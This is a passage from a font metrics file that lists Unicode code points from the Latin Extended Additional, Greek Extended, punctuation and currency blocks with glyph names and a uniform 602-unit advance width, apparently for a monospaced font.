U 7615 ; WX 602 ; N uni1DBF ; G 1291
U 7680 ; WX 602 ; N uni1E00 ; G 1292
U 7681 ; WX 602 ; N uni1E01 ; G 1293
U 7682 ; WX 602 ; N uni1E02 ; G 1294
U 7683 ; WX 602 ; N uni1E03 ; G 1295
U 7684 ; WX 602 ; N uni1E04 ; G 1296
U 7685 ; WX 602 ; N uni1E05 ; G 1297
U 7686 ; WX 602 ; N uni1E06 ; G 1298
U 7687 ; WX 602 ; N uni1E07 ; G 1299
U 7688 ; WX 602 ; N uni1E08 ; G 1300
U 7689 ; WX 602 ; N uni1E09 ; G 1301
U 7690 ; WX 602 ; N uni1E0A ; G 1302
U 7691 ; WX 602 ; N uni1E0B ; G 1303
U 7692 ; WX 602 ; N uni1E0C ; G 1304
U 7693 ; WX 602 ; N uni1E0D ; G 1305
U 7694 ; WX 602 ; N uni1E0E ; G 1306
U 7695 ; WX 602 ; N uni1E0F ; G 1307
U 7696 ; WX 602 ; N uni1E10 ; G 1308
U 7697 ; WX 602 ; N uni1E11 ; G 1309
U 7698 ; WX 602 ; N uni1E12 ; G 1310
U 7699 ; WX 602 ; N uni1E13 ; G 1311
U 7704 ; WX 602 ; N uni1E18 ; G 1312
U 7705 ; WX 602 ; N uni1E19 ; G 1313
U 7706 ; WX 602 ; N uni1E1A ; G 1314
U 7707 ; WX 602 ; N uni1E1B ; G 1315
U 7708 ; WX 602 ; N uni1E1C ; G 1316
U 7709 ; WX 602 ; N uni1E1D ; G 1317
U 7710 ; WX 602 ; N uni1E1E ; G 1318
U 7711 ; WX 602 ; N uni1E1F ; G 1319
U 7712 ; WX 602 ; N uni1E20 ; G 1320
U 7713 ; WX 602 ; N uni1E21 ; G 1321
U 7714 ; WX 602 ; N uni1E22 ; G 1322
U 7715 ; WX 602 ; N uni1E23 ; G 1323
U 7716 ; WX 602 ; N uni1E24 ; G 1324
U 7717 ; WX 602 ; N uni1E25 ; G 1325
U 7718 ; WX 602 ; N uni1E26 ; G 1326
U 7719 ; WX 602 ; N uni1E27 ; G 1327
U 7720 ; WX 602 ; N uni1E28 ; G 1328
U 7721 ; WX 602 ; N uni1E29 ; G 1329
U 7722 ; WX 602 ; N uni1E2A ; G 1330
U 7723 ; WX 602 ; N uni1E2B ; G 1331
U 7724 ; WX 602 ; N uni1E2C ; G 1332
U 7725 ; WX 602 ; N uni1E2D ; G 1333
U 7728 ; WX 602 ; N uni1E30 ; G 1334
U 7729 ; WX 602 ; N uni1E31 ; G 1335
U 7730 ; WX 602 ; N uni1E32 ; G 1336
U 7731 ; WX 602 ; N uni1E33 ; G 1337
U 7732 ; WX 602 ; N uni1E34 ; G 1338
U 7733 ; WX 602 ; N uni1E35 ; G 1339
U 7734 ; WX 602 ; N uni1E36 ; G 1340
U 7735 ; WX 602 ; N uni1E37 ; G 1341
U 7736 ; WX 602 ; N uni1E38 ; G 1342
U 7737 ; WX 602 ; N uni1E39 ; G 1343
U 7738 ; WX 602 ; N uni1E3A ; G 1344
U 7739 ; WX 602 ; N uni1E3B ; G 1345
U 7740 ; WX 602 ; N uni1E3C ; G 1346
U 7741 ; WX 602 ; N uni1E3D ; G 1347
U 7742 ; WX 602 ; N uni1E3E ; G 1348
U 7743 ; WX 602 ; N uni1E3F ; G 1349
U 7744 ; WX 602 ; N uni1E40 ; G 1350
U 7745 ; WX 602 ; N uni1E41 ; G 1351
U 7746 ; WX 602 ; N uni1E42 ; G 1352
U 7747 ; WX 602 ; N uni1E43 ; G 1353
U 7748 ; WX 602 ; N uni1E44 ; G 1354
U 7749 ; WX 602 ; N uni1E45 ; G 1355
U 7750 ; WX 602 ; N uni1E46 ; G 1356
U 7751 ; WX 602 ; N uni1E47 ; G 1357
U 7752 ; WX 602 ; N uni1E48 ; G 1358
U 7753 ; WX 602 ; N uni1E49 ; G 1359
U 7754 ; WX 602 ; N uni1E4A ; G 1360
U 7755 ; WX 602 ; N uni1E4B ; G 1361
U 7756 ; WX 602 ; N uni1E4C ; G 1362
U 7757 ; WX 602 ; N uni1E4D ; G 1363
U 7764 ; WX 602 ; N uni1E54 ; G 1364
U 7765 ; WX 602 ; N uni1E55 ; G 1365
U 7766 ; WX 602 ; N uni1E56 ; G 1366
U 7767 ; WX 602 ; N uni1E57 ; G 1367
U 7768 ; WX 602 ; N uni1E58 ; G 1368
U 7769 ; WX 602 ; N uni1E59 ; G 1369
U 7770 ; WX 602 ; N uni1E5A ; G 1370
U 7771 ; WX 602 ; N uni1E5B ; G 1371
U 7772 ; WX 602 ; N uni1E5C ; G 1372
U 7773 ; WX 602 ; N uni1E5D ; G 1373
U 7774 ; WX 602 ; N uni1E5E ; G 1374
U 7775 ; WX 602 ; N uni1E5F ; G 1375
U 7776 ; WX 602 ; N uni1E60 ; G 1376
U 7777 ; WX 602 ; N uni1E61 ; G 1377
U 7778 ; WX 602 ; N uni1E62 ; G 1378
U 7779 ; WX 602 ; N uni1E63 ; G 1379
U 7784 ; WX 602 ; N uni1E68 ; G 1380
U 7785 ; WX 602 ; N uni1E69 ; G 1381
U 7786 ; WX 602 ; N uni1E6A ; G 1382
U 7787 ; WX 602 ; N uni1E6B ; G 1383
U 7788 ; WX 602 ; N uni1E6C ; G 1384
U 7789 ; WX 602 ; N uni1E6D ; G 1385
U 7790 ; WX 602 ; N uni1E6E ; G 1386
U 7791 ; WX 602 ; N uni1E6F ; G 1387
U 7792 ; WX 602 ; N uni1E70 ; G 1388
U 7793 ; WX 602 ; N uni1E71 ; G 1389
U 7794 ; WX 602 ; N uni1E72 ; G 1390
U 7795 ; WX 602 ; N uni1E73 ; G 1391
U 7796 ; WX 602 ; N uni1E74 ; G 1392
U 7797 ; WX 602 ; N uni1E75 ; G 1393
U 7798 ; WX 602 ; N uni1E76 ; G 1394
U 7799 ; WX 602 ; N uni1E77 ; G 1395
U 7800 ; WX 602 ; N uni1E78 ; G 1396
U 7801 ; WX 602 ; N uni1E79 ; G 1397
U 7804 ; WX 602 ; N uni1E7C ; G 1398
U 7805 ; WX 602 ; N uni1E7D ; G 1399
U 7806 ; WX 602 ; N uni1E7E ; G 1400
U 7807 ; WX 602 ; N uni1E7F ; G 1401
U 7808 ; WX 602 ; N Wgrave ; G 1402
U 7809 ; WX 602 ; N wgrave ; G 1403
U 7810 ; WX 602 ; N Wacute ; G 1404
U 7811 ; WX 602 ; N wacute ; G 1405
U 7812 ; WX 602 ; N Wdieresis ; G 1406
U 7813 ; WX 602 ; N wdieresis ; G 1407
U 7814 ; WX 602 ; N uni1E86 ; G 1408
U 7815 ; WX 602 ; N uni1E87 ; G 1409
U 7816 ; WX 602 ; N uni1E88 ; G 1410
U 7817 ; WX 602 ; N uni1E89 ; G 1411
U 7818 ; WX 602 ; N uni1E8A ; G 1412
U 7819 ; WX 602 ; N uni1E8B ; G 1413
U 7820 ; WX 602 ; N uni1E8C ; G 1414
U 7821 ; WX 602 ; N uni1E8D ; G 1415
U 7822 ; WX 602 ; N uni1E8E ; G 1416
U 7823 ; WX 602 ; N uni1E8F ; G 1417
U 7824 ; WX 602 ; N uni1E90 ; G 1418
U 7825 ; WX 602 ; N uni1E91 ; G 1419
U 7826 ; WX 602 ; N uni1E92 ; G 1420
U 7827 ; WX 602 ; N uni1E93 ; G 1421
U 7828 ; WX 602 ; N uni1E94 ; G 1422
U 7829 ; WX 602 ; N uni1E95 ; G 1423
U 7830 ; WX 602 ; N uni1E96 ; G 1424
U 7831 ; WX 602 ; N uni1E97 ; G 1425
U 7832 ; WX 602 ; N uni1E98 ; G 1426
U 7833 ; WX 602 ; N uni1E99 ; G 1427
U 7835 ; WX 602 ; N uni1E9B ; G 1428
U 7839 ; WX 602 ; N uni1E9F ; G 1429
U 7840 ; WX 602 ; N uni1EA0 ; G 1430
U 7841 ; WX 602 ; N uni1EA1 ; G 1431
U 7852 ; WX 602 ; N uni1EAC ; G 1432
U 7853 ; WX 602 ; N uni1EAD ; G 1433
U 7856 ; WX 602 ; N uni1EB0 ; G 1434
U 7857 ; WX 602 ; N uni1EB1 ; G 1435
U 7862 ; WX 602 ; N uni1EB6 ; G 1436
U 7863 ; WX 602 ; N uni1EB7 ; G 1437
U 7864 ; WX 602 ; N uni1EB8 ; G 1438
U 7865 ; WX 602 ; N uni1EB9 ; G 1439
U 7868 ; WX 602 ; N uni1EBC ; G 1440
U 7869 ; WX 602 ; N uni1EBD ; G 1441
U 7878 ; WX 602 ; N uni1EC6 ; G 1442
U 7879 ; WX 602 ; N uni1EC7 ; G 1443
U 7882 ; WX 602 ; N uni1ECA ; G 1444
U 7883 ; WX 602 ; N uni1ECB ; G 1445
U 7884 ; WX 602 ; N uni1ECC ; G 1446
U 7885 ; WX 602 ; N uni1ECD ; G 1447
U 7896 ; WX 602 ; N uni1ED8 ; G 1448
U 7897 ; WX 602 ; N uni1ED9 ; G 1449
U 7898 ; WX 602 ; N uni1EDA ; G 1450
U 7899 ; WX 602 ; N uni1EDB ; G 1451
U 7900 ; WX 602 ; N uni1EDC ; G 1452
U 7901 ; WX 602 ; N uni1EDD ; G 1453
U 7904 ; WX 602 ; N uni1EE0 ; G 1454
U 7905 ; WX 602 ; N uni1EE1 ; G 1455
U 7906 ; WX 602 ; N uni1EE2 ; G 1456
U 7907 ; WX 602 ; N uni1EE3 ; G 1457
U 7908 ; WX 602 ; N uni1EE4 ; G 1458
U 7909 ; WX 602 ; N uni1EE5 ; G 1459
U 7912 ; WX 602 ; N uni1EE8 ; G 1460
U 7913 ; WX 602 ; N uni1EE9 ; G 1461
U 7914 ; WX 602 ; N uni1EEA ; G 1462
U 7915 ; WX 602 ; N uni1EEB ; G 1463
U 7918 ; WX 602 ; N uni1EEE ; G 1464
U 7919 ; WX 602 ; N uni1EEF ; G 1465
U 7920 ; WX 602 ; N uni1EF0 ; G 1466
U 7921 ; WX 602 ; N uni1EF1 ; G 1467
U 7922 ; WX 602 ; N Ygrave ; G 1468
U 7923 ; WX 602 ; N ygrave ; G 1469
U 7924 ; WX 602 ; N uni1EF4 ; G 1470
U 7925 ; WX 602 ; N uni1EF5 ; G 1471
U 7928 ; WX 602 ; N uni1EF8 ; G 1472
U 7929 ; WX 602 ; N uni1EF9 ; G 1473
U 7936 ; WX 602 ; N uni1F00 ; G 1474
U 7937 ; WX 602 ; N uni1F01 ; G 1475
U 7938 ; WX 602 ; N uni1F02 ; G 1476
U 7939 ; WX 602 ; N uni1F03 ; G 1477
U 7940 ; WX 602 ; N uni1F04 ; G 1478
U 7941 ; WX 602 ; N uni1F05 ; G 1479
U 7942 ; WX 602 ; N uni1F06 ; G 1480
U 7943 ; WX 602 ; N uni1F07 ; G 1481
U 7944 ; WX 602 ; N uni1F08 ; G 1482
U 7945 ; WX 602 ; N uni1F09 ; G 1483
U 7946 ; WX 602 ; N uni1F0A ; G 1484
U 7947 ; WX 602 ; N uni1F0B ; G 1485
U 7948 ; WX 602 ; N uni1F0C ; G 1486
U 7949 ; WX 602 ; N uni1F0D ; G 1487
U 7950 ; WX 602 ; N uni1F0E ; G 1488
U 7951 ; WX 602 ; N uni1F0F ; G 1489
U 7952 ; WX 602 ; N uni1F10 ; G 1490
U 7953 ; WX 602 ; N uni1F11 ; G 1491
U 7954 ; WX 602 ; N uni1F12 ; G 1492
U 7955 ; WX 602 ; N uni1F13 ; G 1493
U 7956 ; WX 602 ; N uni1F14 ; G 1494
U 7957 ; WX 602 ; N uni1F15 ; G 1495
U 7960 ; WX 602 ; N uni1F18 ; G 1496
U 7961 ; WX 602 ; N uni1F19 ; G 1497
U 7962 ; WX 602 ; N uni1F1A ; G 1498
U 7963 ; WX 602 ; N uni1F1B ; G 1499
U 7964 ; WX 602 ; N uni1F1C ; G 1500
U 7965 ; WX 602 ; N uni1F1D ; G 1501
U 7968 ; WX 602 ; N uni1F20 ; G 1502
U 7969 ; WX 602 ; N uni1F21 ; G 1503
U 7970 ; WX 602 ; N uni1F22 ; G 1504
U 7971 ; WX 602 ; N uni1F23 ; G 1505
U 7972 ; WX 602 ; N uni1F24 ; G 1506
U 7973 ; WX 602 ; N uni1F25 ; G 1507
U 7974 ; WX 602 ; N uni1F26 ; G 1508
U 7975 ; WX 602 ; N uni1F27 ; G 1509
U 7976 ; WX 602 ; N uni1F28 ; G 1510
U 7977 ; WX 602 ; N uni1F29 ; G 1511
U 7978 ; WX 602 ; N uni1F2A ; G 1512
U 7979 ; WX 602 ; N uni1F2B ; G 1513
U 7980 ; WX 602 ; N uni1F2C ; G 1514
U 7981 ; WX 602 ; N uni1F2D ; G 1515
U 7982 ; WX 602 ; N uni1F2E ; G 1516
U 7983 ; WX 602 ; N uni1F2F ; G 1517
U 7984 ; WX 602 ; N uni1F30 ; G 1518
U 7985 ; WX 602 ; N uni1F31 ; G 1519
U 7986 ; WX 602 ; N uni1F32 ; G 1520
U 7987 ; WX 602 ; N uni1F33 ; G 1521
U 7988 ; WX 602 ; N uni1F34 ; G 1522
U 7989 ; WX 602 ; N uni1F35 ; G 1523
U 7990 ; WX 602 ; N uni1F36 ; G 1524
U 7991 ; WX 602 ; N uni1F37 ; G 1525
U 7992 ; WX 602 ; N uni1F38 ; G 1526
U 7993 ; WX 602 ; N uni1F39 ; G 1527
U 7994 ; WX 602 ; N uni1F3A ; G 1528
U 7995 ; WX 602 ; N uni1F3B ; G 1529
U 7996 ; WX 602 ; N uni1F3C ; G 1530
U 7997 ; WX 602 ; N uni1F3D ; G 1531
U 7998 ; WX 602 ; N uni1F3E ; G 1532
U 7999 ; WX 602 ; N uni1F3F ; G 1533
U 8000 ; WX 602 ; N uni1F40 ; G 1534
U 8001 ; WX 602 ; N uni1F41 ; G 1535
U 8002 ; WX 602 ; N uni1F42 ; G 1536
U 8003 ; WX 602 ; N uni1F43 ; G 1537
U 8004 ; WX 602 ; N uni1F44 ; G 1538
U 8005 ; WX 602 ; N uni1F45 ; G 1539
U 8008 ; WX 602 ; N uni1F48 ; G 1540
U 8009 ; WX 602 ; N uni1F49 ; G 1541
U 8010 ; WX 602 ; N uni1F4A ; G 1542
U 8011 ; WX 602 ; N uni1F4B ; G 1543
U 8012 ; WX 602 ; N uni1F4C ; G 1544
U 8013 ; WX 602 ; N uni1F4D ; G 1545
U 8016 ; WX 602 ; N uni1F50 ; G 1546
U 8017 ; WX 602 ; N uni1F51 ; G 1547
U 8018 ; WX 602 ; N uni1F52 ; G 1548
U 8019 ; WX 602 ; N uni1F53 ; G 1549
U 8020 ; WX 602 ; N uni1F54 ; G 1550
U 8021 ; WX 602 ; N uni1F55 ; G 1551
U 8022 ; WX 602 ; N uni1F56 ; G 1552
U 8023 ; WX 602 ; N uni1F57 ; G 1553
U 8025 ; WX 602 ; N uni1F59 ; G 1554
U 8027 ; WX 602 ; N uni1F5B ; G 1555
U 8029 ; WX 602 ; N uni1F5D ; G 1556
U 8031 ; WX 602 ; N uni1F5F ; G 1557
U 8032 ; WX 602 ; N uni1F60 ; G 1558
U 8033 ; WX 602 ; N uni1F61 ; G 1559
U 8034 ; WX 602 ; N uni1F62 ; G 1560
U 8035 ; WX 602 ; N uni1F63 ; G 1561
U 8036 ; WX 602 ; N uni1F64 ; G 1562
U 8037 ; WX 602 ; N uni1F65 ; G 1563
U 8038 ; WX 602 ; N uni1F66 ; G 1564
U 8039 ; WX 602 ; N uni1F67 ; G 1565
U 8040 ; WX 602 ; N uni1F68 ; G 1566
U 8041 ; WX 602 ; N uni1F69 ; G 1567
U 8042 ; WX 602 ; N uni1F6A ; G 1568
U 8043 ; WX 602 ; N uni1F6B ; G 1569
U 8044 ; WX 602 ; N uni1F6C ; G 1570
U 8045 ; WX 602 ; N uni1F6D ; G 1571
U 8046 ; WX 602 ; N uni1F6E ; G 1572
U 8047 ; WX 602 ; N uni1F6F ; G 1573
U 8048 ; WX 602 ; N uni1F70 ; G 1574
U 8049 ; WX 602 ; N uni1F71 ; G 1575
U 8050 ; WX 602 ; N uni1F72 ; G 1576
U 8051 ; WX 602 ; N uni1F73 ; G 1577
U 8052 ; WX 602 ; N uni1F74 ; G 1578
U 8053 ; WX 602 ; N uni1F75 ; G 1579
U 8054 ; WX 602 ; N uni1F76 ; G 1580
U 8055 ; WX 602 ; N uni1F77 ; G 1581
U 8056 ; WX 602 ; N uni1F78 ; G 1582
U 8057 ; WX 602 ; N uni1F79 ; G 1583
U 8058 ; WX 602 ; N uni1F7A ; G 1584
U 8059 ; WX 602 ; N uni1F7B ; G 1585
U 8060 ; WX 602 ; N uni1F7C ; G 1586
U 8061 ; WX 602 ; N uni1F7D ; G 1587
U 8064 ; WX 602 ; N uni1F80 ; G 1588
U 8065 ; WX 602 ; N uni1F81 ; G 1589
U 8066 ; WX 602 ; N uni1F82 ; G 1590
U 8067 ; WX 602 ; N uni1F83 ; G 1591
U 8068 ; WX 602 ; N uni1F84 ; G 1592
U 8069 ; WX 602 ; N uni1F85 ; G 1593
U 8070 ; WX 602 ; N uni1F86 ; G 1594
U 8071 ; WX 602 ; N uni1F87 ; G 1595
U 8072 ; WX 602 ; N uni1F88 ; G 1596
U 8073 ; WX 602 ; N uni1F89 ; G 1597
U 8074 ; WX 602 ; N uni1F8A ; G 1598
U 8075 ; WX 602 ; N uni1F8B ; G 1599
U 8076 ; WX 602 ; N uni1F8C ; G 1600
U 8077 ; WX 602 ; N uni1F8D ; G 1601
U 8078 ; WX 602 ; N uni1F8E ; G 1602
U 8079 ; WX 602 ; N uni1F8F ; G 1603
U 8080 ; WX 602 ; N uni1F90 ; G 1604
U 8081 ; WX 602 ; N uni1F91 ; G 1605
U 8082 ; WX 602 ; N uni1F92 ; G 1606
U 8083 ; WX 602 ; N uni1F93 ; G 1607
U 8084 ; WX 602 ; N uni1F94 ; G 1608
U 8085 ; WX 602 ; N uni1F95 ; G 1609
U 8086 ; WX 602 ; N uni1F96 ; G 1610
U 8087 ; WX 602 ; N uni1F97 ; G 1611
U 8088 ; WX 602 ; N uni1F98 ; G 1612
U 8089 ; WX 602 ; N uni1F99 ; G 1613
U 8090 ; WX 602 ; N uni1F9A ; G 1614
U 8091 ; WX 602 ; N uni1F9B ; G 1615
U 8092 ; WX 602 ; N uni1F9C ; G 1616
U 8093 ; WX 602 ; N uni1F9D ; G 1617
U 8094 ; WX 602 ; N uni1F9E ; G 1618
U 8095 ; WX 602 ; N uni1F9F ; G 1619
U 8096 ; WX 602 ; N uni1FA0 ; G 1620
U 8097 ; WX 602 ; N uni1FA1 ; G 1621
U 8098 ; WX 602 ; N uni1FA2 ; G 1622
U 8099 ; WX 602 ; N uni1FA3 ; G 1623
U 8100 ; WX 602 ; N uni1FA4 ; G 1624
U 8101 ; WX 602 ; N uni1FA5 ; G 1625
U 8102 ; WX 602 ; N uni1FA6 ; G 1626
U 8103 ; WX 602 ; N uni1FA7 ; G 1627
U 8104 ; WX 602 ; N uni1FA8 ; G 1628
U 8105 ; WX 602 ; N uni1FA9 ; G 1629
U 8106 ; WX 602 ; N uni1FAA ; G 1630
U 8107 ; WX 602 ; N uni1FAB ; G 1631
U 8108 ; WX 602 ; N uni1FAC ; G 1632
U 8109 ; WX 602 ; N uni1FAD ; G 1633
U 8110 ; WX 602 ; N uni1FAE ; G 1634
U 8111 ; WX 602 ; N uni1FAF ; G 1635
U 8112 ; WX 602 ; N uni1FB0 ; G 1636
U 8113 ; WX 602 ; N uni1FB1 ; G 1637
U 8114 ; WX 602 ; N uni1FB2 ; G 1638
U 8115 ; WX 602 ; N uni1FB3 ; G 1639
U 8116 ; WX 602 ; N uni1FB4 ; G 1640
U 8118 ; WX 602 ; N uni1FB6 ; G 1641
U 8119 ; WX 602 ; N uni1FB7 ; G 1642
U 8120 ; WX 602 ; N uni1FB8 ; G 1643
U 8121 ; WX 602 ; N uni1FB9 ; G 1644
U 8122 ; WX 602 ; N uni1FBA ; G 1645
U 8123 ; WX 602 ; N uni1FBB ; G 1646
U 8124 ; WX 602 ; N uni1FBC ; G 1647
U 8125 ; WX 602 ; N uni1FBD ; G 1648
U 8126 ; WX 602 ; N uni1FBE ; G 1649
U 8127 ; WX 602 ; N uni1FBF ; G 1650
U 8128 ; WX 602 ; N uni1FC0 ; G 1651
U 8129 ; WX 602 ; N uni1FC1 ; G 1652
U 8130 ; WX 602 ; N uni1FC2 ; G 1653
U 8131 ; WX 602 ; N uni1FC3 ; G 1654
U 8132 ; WX 602 ; N uni1FC4 ; G 1655
U 8134 ; WX 602 ; N uni1FC6 ; G 1656
U 8135 ; WX 602 ; N uni1FC7 ; G 1657
U 8136 ; WX 602 ; N uni1FC8 ; G 1658
U 8137 ; WX 602 ; N uni1FC9 ; G 1659
U 8138 ; WX 602 ; N uni1FCA ; G 1660
U 8139 ; WX 602 ; N uni1FCB ; G 1661
U 8140 ; WX 602 ; N uni1FCC ; G 1662
U 8141 ; WX 602 ; N uni1FCD ; G 1663
U 8142 ; WX 602 ; N uni1FCE ; G 1664
U 8143 ; WX 602 ; N uni1FCF ; G 1665
U 8144 ; WX 602 ; N uni1FD0 ; G 1666
U 8145 ; WX 602 ; N uni1FD1 ; G 1667
U 8146 ; WX 602 ; N uni1FD2 ; G 1668
U 8147 ; WX 602 ; N uni1FD3 ; G 1669
U 8150 ; WX 602 ; N uni1FD6 ; G 1670
U 8151 ; WX 602 ; N uni1FD7 ; G 1671
U 8152 ; WX 602 ; N uni1FD8 ; G 1672
U 8153 ; WX 602 ; N uni1FD9 ; G 1673
U 8154 ; WX 602 ; N uni1FDA ; G 1674
U 8155 ; WX 602 ; N uni1FDB ; G 1675
U 8157 ; WX 602 ; N uni1FDD ; G 1676
U 8158 ; WX 602 ; N uni1FDE ; G 1677
U 8159 ; WX 602 ; N uni1FDF ; G 1678
U 8160 ; WX 602 ; N uni1FE0 ; G 1679
U 8161 ; WX 602 ; N uni1FE1 ; G 1680
U 8162 ; WX 602 ; N uni1FE2 ; G 1681
U 8163 ; WX 602 ; N uni1FE3 ; G 1682
U 8164 ; WX 602 ; N uni1FE4 ; G 1683
U 8165 ; WX 602 ; N uni1FE5 ; G 1684
U 8166 ; WX 602 ; N uni1FE6 ; G 1685
U 8167 ; WX 602 ; N uni1FE7 ; G 1686
U 8168 ; WX 602 ; N uni1FE8 ; G 1687
U 8169 ; WX 602 ; N uni1FE9 ; G 1688
U 8170 ; WX 602 ; N uni1FEA ; G 1689
U 8171 ; WX 602 ; N uni1FEB ; G 1690
U 8172 ; WX 602 ; N uni1FEC ; G 1691
U 8173 ; WX 602 ; N uni1FED ; G 1692
U 8174 ; WX 602 ; N uni1FEE ; G 1693
U 8175 ; WX 602 ; N uni1FEF ; G 1694
U 8178 ; WX 602 ; N uni1FF2 ; G 1695
U 8179 ; WX 602 ; N uni1FF3 ; G 1696
U 8180 ; WX 602 ; N uni1FF4 ; G 1697
U 8182 ; WX 602 ; N uni1FF6 ; G 1698
U 8183 ; WX 602 ; N uni1FF7 ; G 1699
U 8184 ; WX 602 ; N uni1FF8 ; G 1700
U 8185 ; WX 602 ; N uni1FF9 ; G 1701
U 8186 ; WX 602 ; N uni1FFA ; G 1702
U 8187 ; WX 602 ; N uni1FFB ; G 1703
U 8188 ; WX 602 ; N uni1FFC ; G 1704
U 8189 ; WX 602 ; N uni1FFD ; G 1705
U 8190 ; WX 602 ; N uni1FFE ; G 1706
U 8192 ; WX 602 ; N uni2000 ; G 1707
U 8193 ; WX 602 ; N uni2001 ; G 1708
U 8194 ; WX 602 ; N uni2002 ; G 1709
U 8195 ; WX 602 ; N uni2003 ; G 1710
U 8196 ; WX 602 ; N uni2004 ; G 1711
U 8197 ; WX 602 ; N uni2005 ; G 1712
U 8198 ; WX 602 ; N uni2006 ; G 1713
U 8199 ; WX 602 ; N uni2007 ; G 1714
U 8200 ; WX 602 ; N uni2008 ; G 1715
U 8201 ; WX 602 ; N uni2009 ; G 1716
U 8202 ; WX 602 ; N uni200A ; G 1717
U 8208 ; WX 602 ; N uni2010 ; G 1718
U 8209 ; WX 602 ; N uni2011 ; G 1719
U 8210 ; WX 602 ; N figuredash ; G 1720
U 8211 ; WX 602 ; N endash ; G 1721
U 8212 ; WX 602 ; N emdash ; G 1722
U 8213 ; WX 602 ; N uni2015 ; G 1723
U 8214 ; WX 602 ; N uni2016 ; G 1724
U 8215 ; WX 602 ; N underscoredbl ; G 1725
U 8216 ; WX 602 ; N quoteleft ; G 1726
U 8217 ; WX 602 ; N quoteright ; G 1727
U 8218 ; WX 602 ; N quotesinglbase ; G 1728
U 8219 ; WX 602 ; N quotereversed ; G 1729
U 8220 ; WX 602 ; N quotedblleft ; G 1730
U 8221 ; WX 602 ; N quotedblright ; G 1731
U 8222 ; WX 602 ; N quotedblbase ; G 1732
U 8223 ; WX 602 ; N uni201F ; G 1733
U 8224 ; WX 602 ; N dagger ; G 1734
U 8225 ; WX 602 ; N daggerdbl ; G 1735
U 8226 ; WX 602 ; N bullet ; G 1736
U 8227 ; WX 602 ; N uni2023 ; G 1737
U 8230 ; WX 602 ; N ellipsis ; G 1738
U 8239 ; WX 602 ; N uni202F ; G 1739
U 8240 ; WX 602 ; N perthousand ; G 1740
U 8241 ; WX 602 ; N uni2031 ; G 1741
U 8242 ; WX 602 ; N minute ; G 1742
U 8243 ; WX 602 ; N second ; G 1743
U 8244 ; WX 602 ; N uni2034 ; G 1744
U 8245 ; WX 602 ; N uni2035 ; G 1745
U 8246 ; WX 602 ; N uni2036 ; G 1746
U 8247 ; WX 602 ; N uni2037 ; G 1747
U 8249 ; WX 602 ; N guilsinglleft ; G 1748
U 8250 ; WX 602 ; N guilsinglright ; G 1749
U 8252 ; WX 602 ; N exclamdbl ; G 1750
U 8253 ; WX 602 ; N uni203D ; G 1751
U 8254 ; WX 602 ; N uni203E ; G 1752
U 8255 ; WX 602 ; N uni203F ; G 1753
U 8261 ; WX 602 ; N uni2045 ; G 1754
U 8262 ; WX 602 ; N uni2046 ; G 1755
U 8263 ; WX 602 ; N uni2047 ; G 1756
U 8264 ; WX 602 ; N uni2048 ; G 1757
U 8265 ; WX 602 ; N uni2049 ; G 1758
U 8267 ; WX 602 ; N uni204B ; G 1759
U 8287 ; WX 602 ; N uni205F ; G 1760
U 8304 ; WX 602 ; N uni2070 ; G 1761
U 8305 ; WX 602 ; N uni2071 ; G 1762
U 8308 ; WX 602 ; N uni2074 ; G 1763
U 8309 ; WX 602 ; N uni2075 ; G 1764
U 8310 ; WX 602 ; N uni2076 ; G 1765
U 8311 ; WX 602 ; N uni2077 ; G 1766
U 8312 ; WX 602 ; N uni2078 ; G 1767
U 8313 ; WX 602 ; N uni2079 ; G 1768
U 8314 ; WX 602 ; N uni207A ; G 1769
U 8315 ; WX 602 ; N uni207B ; G 1770
U 8316 ; WX 602 ; N uni207C ; G 1771
U 8317 ; WX 602 ; N uni207D ; G 1772
U 8318 ; WX 602 ; N uni207E ; G 1773
U 8319 ; WX 602 ; N uni207F ; G 1774
U 8320 ; WX 602 ; N uni2080 ; G 1775
U 8321 ; WX 602 ; N uni2081 ; G 1776
U 8322 ; WX 602 ; N uni2082 ; G 1777
U 8323 ; WX 602 ; N uni2083 ; G 1778
U 8324 ; WX 602 ; N uni2084 ; G 1779
U 8325 ; WX 602 ; N uni2085 ; G 1780
U 8326 ; WX 602 ; N uni2086 ; G 1781
U 8327 ; WX 602 ; N uni2087 ; G 1782
U 8328 ; WX 602 ; N uni2088 ; G 1783
U 8329 ; WX 602 ; N uni2089 ; G 1784
U 8330 ; WX 602 ; N uni208A ; G 1785
U 8331 ; WX 602 ; N uni208B ; G 1786
U 8332 ; WX 602 ; N uni208C ; G 1787
U 8333 ; WX 602 ; N uni208D ; G 1788
U 8334 ; WX 602 ; N uni208E ; G 1789
U 8336 ; WX 602 ; N uni2090 ; G 1790
U 8337 ; WX 602 ; N uni2091 ; G 1791
U 8338 ; WX 602 ; N uni2092 ; G 1792
U 8339 ; WX 602 ; N uni2093 ; G 1793
U 8340 ; WX 602 ; N uni2094 ; G 1794
U 8341 ; WX 602 ; N uni2095 ; G 1795
U 8342 ; WX 602 ; N uni2096 ; G 1796
U 8343 ; WX 602 ; N uni2097 ; G 1797
U 8344 ; WX 602 ; N uni2098 ; G 1798
U 8345 ; WX 602 ; N uni2099 ; G 1799
U 8346 ; WX 602 ; N uni209A ; G 1800
U 8347 ; WX 602 ; N uni209B ; G 1801
U 8348 ; WX 602 ; N uni209C ; G 1802
U 8352 ; WX 602 ; N uni20A0 ; G 1803
U 8353 ; WX 602 ; N colonmonetary ; G 1804
U 8354 ; WX 602 ; N uni20A2 ; G 1805
U 8355 ; WX 602 ; N franc ; G 1806
U 8356 ; WX 602 ; N lira ; G 1807
U 8357 ; WX 602 ; N uni20A5 ; G 1808
U 8358 ; WX 602 ; N uni20A6 ; G 1809
U 8359 ; WX 602 ; N peseta ; G 1810
U 8360 ; WX 602 ; N uni20A8 ; G 1811
U 8361 ; WX 602 ; N uni20A9 ; G 1812
U 8362 ; WX 602 ; N uni20AA ; G 1813
U 8363 ; WX 602 ; N dong ; G 1814
U 8364 ; WX 602 ; N Euro ; G 1815
U 8365 ; WX 602 ; N uni20AD ; G 1816
U 8366 ; WX 602 ; N uni20AE ; G 1817
U 8367 ; WX 602 ; N uni20AF ; G 1818
U 8368 ; WX 602 ; N uni20B0 ; G 1819
U 8369 ; WX 602 ; N uni20B1 ; G 1820
U 8370 ; WX 602 ; N uni20B2 ; G 1821
U 8371 ; WX 602 ; N uni20B3 ; G 1822
U 8372 ; WX 602 ; N uni20B4 ; G 1823
U 8373 ; WX 602 ; N uni20B5 ; G 1824
U 8376 ; WX 602 ; N uni20B8 ; G 1825
U 8377 ; WX 602 ; N uni20B9 ; G 1826
U 8378 ; WX 602 ; N uni20BA ; G 1827
U 8381 ; WX 602 ; N uni20BD ; G 1828
